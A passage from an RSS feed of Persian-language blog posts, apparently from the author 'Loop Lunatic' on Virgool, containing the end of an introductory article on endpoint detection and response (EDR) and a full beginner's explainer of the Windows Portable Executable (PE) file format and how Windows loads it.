دید، جمع‌آوری داده و مهار در زمان واقعی، واکنش سریع حادثه را تسهیل می‌کند.شکار تهدید: تحلیلگران امنیتی می‌توانند به‌طور فعال نشانه‌های مصالحه را جستجو کنند، تحقیقات عمیقی را انجام دهند و تهدیدات پنهان را کشف کنند.شناسایی تهدیدات داخلی: EDR می‌تواند تهدیدات داخلی، ازجمله کارمندان مخرب یا حساب‌های در معرض خطر را شناسایی و کاهش دهد.حفاظت از حمله روز صفر: با تمرکز بر رفتار به‌جای امضاهای شناخته‌شده، EDR می‌تواند تهدیدات ناشناخته قبلی را شناسایی و متوقف کند.ادغام با SIEM و SOARبسیاری از سازمان‌ها برای افزایش قابلیت‌های خود، راه‌حل‌های EDR را با پلتفرم‌های مدیریت اطلاعات و رویدادهای امنیتی (SIEM) و هماهنگ‌سازی امنیتی، اتوماسیون و پاسخ (SOAR) ادغام می‌کنند. این ادغام به اشتراک‌گذاری یکپارچه اطلاعات تهدید، گردش کار خودکار واکنش به حادثه و عملیات امنیتی جامع‌تر را امکان‌پذیر می‌کند.چالش‌ها و ملاحظاتپیچیدگیپیاده‌سازی و مدیریت راه‌حل‌های EDR می‌تواند پیچیده باشد و به کارکنان آموزش‌دیده و درک روشنی از الزامات امنیتی خاص سازمان نیاز دارد. کسب‌وکارهای کوچک‌تر با منابع محدود ممکن است استقرار و نگهداری مؤثر EDR را چالش‌برانگیز بدانند.نگرانی‌های حفظ حریم خصوصینظارت گسترده و جمع‌آوری داده‌ها توسط راه‌حل‌های EDR ممکن است نگرانی‌هایی را در مورد حفظ حریم خصوصی در میان کارکنان ایجاد کند. سازمان‌ها باید سیاست‌های شفاف و شفافی را برای رسیدگی به این نگرانی‌ها و اطمینان از رعایت مقررات حفظ حریم خصوصی ایجاد کنند.هزینهراه‌حل‌های EDR به دلیل قابلیت‌های پیشرفته معمولاً گران‌تر از نرم‌افزارهای آنتی‌ویروس سنتی هستند. سازمان‌ها باید محدودیت‌های بودجه خود را ارزیابی کنند و مزایای افزایش امنیت را در مقابل هزینه اجرا و نگهداری بسنجید.شکاف مهارتیبرای به حداکثر رساندن اثربخشی EDR، سازمان‌ها به متخصصان امنیت سایبری ماهر نیاز دارند که بتوانند هشدارهای تولیدشده توسط سیستم را پیکربندی، مدیریت و پاسخ دهند. پرداختن به شکاف مهارت‌های امنیت سایبری برای استقرار موفقیت‌آمیز راه‌حل‌های EDR بسیار مهم است.نتیجهتشخیص و پاسخ نقطه پایانی (EDR) یکی از مؤلفه‌های حیاتی استراتژی‌های امنیت سایبری مدرن است که به سازمان‌ها تشخیص تهدید پیشرفته، شکار پیشگیرانه تهدید و قابلیت‌های واکنش کارآمد به حادثه را ارائه می‌دهد. برخلاف نرم‌افزار آنتی‌ویروس سنتی، راه‌حل‌های EDR بر تجزیه‌وتحلیل رفتار تمرکز می‌کنند و در برابر حملات روز صفر و تهدیدات پیشرفته محافظت می‌کنند. درحالی‌که راه‌حل‌های EDR با چالش‌هایی مانند پیچیدگی و هزینه همراه هستند، اما مزایای آن‌ها در ارتقای وضعیت امنیتی یک سازمان، آن‌ها را به سرمایه‌گذاری ارزشمندی در چشم‌انداز تهدید در حال تکامل امروز تبدیل می‌کند. همان‌طور که تهدیدات سایبری همچنان در حال تکامل هستند، EDR یک ابزار ضروری برای محافظت از نقاط پایانی و داده‌های حیاتی است.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Wed, 29 May 2024 09:43:42 +0330</pubDate>
            </item>
                    <item>
                <title>درک فایل‌های PE</title>
                <link>https://virgool.io/@LoopLunatic/%D8%AF%D8%B1%DA%A9-%D9%81%D8%A7%DB%8C%D9%84-%D9%87%D8%A7%DB%8C-pe-c0yf8ccjakbs</link>
                <description>اگر تابه‌حال برنامه‌ای را در یک سیستم ویندوز دانلود یا اجرا کرده‌اید، به‌احتمال‌زیاد با یک فایل PE مواجه شده‌اید؛ اما فایل PE دقیقاً چیست و چگونه کار می‌کند؟ در این مقاله، ساختار فایل‌های PE، اجزای آن‌ها و نحوه اجرای آن‌ها در سیستم‌های ویندوز را بررسی می‌کنیم. در پایان، حتی افراد تازه‌وارد به دنیای برنامه‌نویسی و سیستم‌عامل‌ها، درک کاملی از فایل‌های PE و نحوه عملکرد آن‌ها خواهند داشت.فایل PE چیست؟فرمت فایل PE (Portable Executable) فرمت فایلی است که برای برنامه‌های اجرایی، DLL (کتابخانه‌های پیوند پویا) و انواع دیگر فایل‌های باینری در سیستم‌عامل‌های ویندوز استفاده می‌شود. با ویندوز NT معرفی شد و از آن زمان به فرمت استاندارد برای فایل‌های اجرایی در پلتفرم‌های ویندوز تبدیل‌شده است.فایل‌های PE حاوی کد ماشین، داده‌ها و ابرداده‌هایی هستند که نحوه بارگذاری یک برنامه در حافظه، اجرا و تعامل با سیستم‌عامل و سایر اجزای نرم‌افزار را تعریف می‌کنند.ساختار یک فایل PEیک فایل PE از چندین جزء کلیدی تشکیل‌شده است که هرکدام نقش خاص خود را در تعریف رفتار و ویژگی‌های برنامه اجرایی دارند. بیایید ساختار یک فایل PE را بشکنیم:سربرگ (DOS Header)DOS: سربرگ DOS یک جزء قدیمی است که حاوی اطلاعاتی است که توسط سیستم‌عامل MS-DOS استفاده می‌شود. اگرچه برای سیستم‌های ویندوز مدرن ضروری نیست، اما شامل فیلدهایی مانند عدد جادویی (MZ) و افست هدر PE است.سربرگ (PE Header)PE: هدر PE که به‌عنوان COFF (فرمت فایل شیء مشترک) نیز شناخته می‌شود، سرآیند اصلی فایل PE است. این شامل متادیتا و ساختارهایی است که چیدمان و ویژگی‌های فایل اجرایی را تعریف می‌کند. فیلدهای کلیدی شامل شماره جادویی (PE\0\0)، نوع معماری، تعداد بخش‌ها و آدرس نقطه ورودی است.سربرگ اختیاری (Optional Header): هدر اختیاری اطلاعات بیشتری در مورد فایل اجرایی و ویژگی‌های آن ارائه می‌دهد. این شامل فیلدهایی مانند آدرس پایه تصویر، اندازه بخش کد و داده، نقطه ورودی RVA (آدرس مجازی نسبی) و نوع زیرسیستم (به‌عنوان‌مثال، رابط کاربری گرافیکی، کنسول) است.بخش‌ها (Sections): بخش‌ها تقسیم‌بندی‌های منطقی در فایل PE هستند که حاوی کد، داده‌ها و منابع قابل‌اجرا هستند. بخش‌های متداول عبارت‌اند از .text (کد)، .data (داده‌های اولیه)، rsrc. (منابع) و .idata (نمادهای واردشده). هر بخش ویژگی‌های خاص خود را دارد، مانند اندازه مجازی، اندازه خام، آدرس مجازی و ویژگی‌ها (به‌عنوان‌مثال، قابل‌اجرا، خواندن، قابل‌نوشتن).جدول واردات (Import Table): جدول واردات حاوی اطلاعاتی در مورد توابع و کتابخانه‌های خارجی است که فایل اجرایی به آن‌ها بستگی دارد. این شامل ارجاع به توابع واردشده، همراه با نام DLL های مرتبط (کتابخانه‌های پیوند پویا) و آدرس‌های تابع است.جدول صادرات (Export Table): جدول صادرات حاوی اطلاعاتی در مورد توابع و نمادهای صادرشده توسط فایل اجرایی است. این شامل نام و آدرس توابع صادرشده، همراه با سایر ابر داده‌ها مانند شماره‌های ترتیبی و اطلاعات ارسال است.جدول منابع (Resource Table): جدول منابع، منابع جاسازی‌شده مانند آیکون‌ها، رشته‌ها و اطلاعات نسخه را ذخیره می‌کند. منابع به‌صورت سلسله مراتبی سازمان‌دهی می‌شوند و توسط برنامه‌ها می‌توان به‌صورت برنامه‌نویسی به آن‌ها دسترسی داشت.جدول جابجایی (Relocation Table): جدول جابجایی حاوی اطلاعاتی در مورد جابجایی‌های پایه است که باید زمانی که فایل اجرایی در یک آدرس پایه متفاوت از پایگاه تصویر ترجیحی خود در حافظه بارگذاری می‌شود، انجام شود. جابجایی‌ها تضمین می‌کنند که کد و ارجاعات داده برای منعکس‌کننده طرح‌بندی حافظه جدید تنظیم می‌شوند.اجرای یک فایل PEاجرای یک فایل PE در یک سیستم ویندوز شامل چندین مرحله است، ازجمله بارگذاری فایل در حافظه، انجام پیوند پویا و مقداردهی اولیه محیط اجرای برنامه. در اینجا یک نمای کلی از روند است:بارگذاری (Loading): لودر ویندوز فایل PE را از روی دیسک می‌خواند و آن را در حافظه نگاشت می‌کند. هدر PE، هدر اختیاری و سرفصل بخش را برای تعیین طرح و ویژگی‌های فایل اجرایی تجزیه می‌کند.پیوند پویا (Dynamic Linking): اگر فایل PE به کتابخانه‌های خارجی (DLL) وابسته باشد، لودر ویندوز با مکان‌یابی DLLهای مورد نیاز، بارگیری آن‌ها در حافظه و حل آدرس‌های تابع، مراجع واردات را حل می‌کند. این فرآیند به‌عنوان پیوند پویا شناخته می‌شود و تضمین می‌کند که فایل اجرایی به توابع و نمادهای خارجی لازم دسترسی دارد.مقداردهی اولیه (Initialization): هنگامی‌که تمام وابستگی‌ها برطرف شد، لودر ویندوز محیط اجرای برنامه را مقداردهی اولیه می‌کند. پشته را تنظیم می‌کند، متغیرهای سراسری را مقداردهی اولیه می‌کند و برنامه را برای اجرا آماده می‌کند.اجرا (Execution): درنهایت، لودر ویندوز کنترل را به نقطه ورودی برنامه اجرایی، معمولاً تابع اصلی برای فایل‌های اجرایی یا یک روال اولیه سازی برای DLL ها، منتقل می‌کند. برنامه اجرا را آغاز می‌کند و سیستم‌عامل تعامل خود را با منابع سیستم و سایر فرآیندها مدیریت می‌کند.نتیجه‌گیریدرنتیجه، فایل‌های PE فرمت استاندارد فایل اجرایی هستند که در سیستم‌عامل‌های ویندوز استفاده می‌شود. آن‌ها حاوی کد ماشین، داده‌ها و ابرداده‌هایی هستند که رفتار و ویژگی‌های برنامه‌های اجرایی را تعریف می‌کنند. درک ساختار فایل‌های PE، ازجمله سر صفحه‌ها، بخش‌ها، جداول واردات/صادرات و منابع، برای توسعه‌دهندگان، مدیران سیستم و تحلیلگران امنیتی که با سیستم‌های ویندوز کار می‌کنند ضروری است.با درک اصول اولیه فایل‌های PE و نحوه اجرای آن‌ها، تازه‌واردان به دنیای برنامه‌نویسی و سیستم‌عامل‌ها می‌توانند بینش ارزشمندی در مورد عملکرد داخلی برنامه‌های کاربردی ویندوز به دست آورند و درک خود را از توسعه نرم‌افزار بر روی پلت فرم ویندوز عمیق‌تر کنند.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Wed, 15 May 2024 10:09:56 +0330</pubDate>
            </item>
            </channel>
</rss>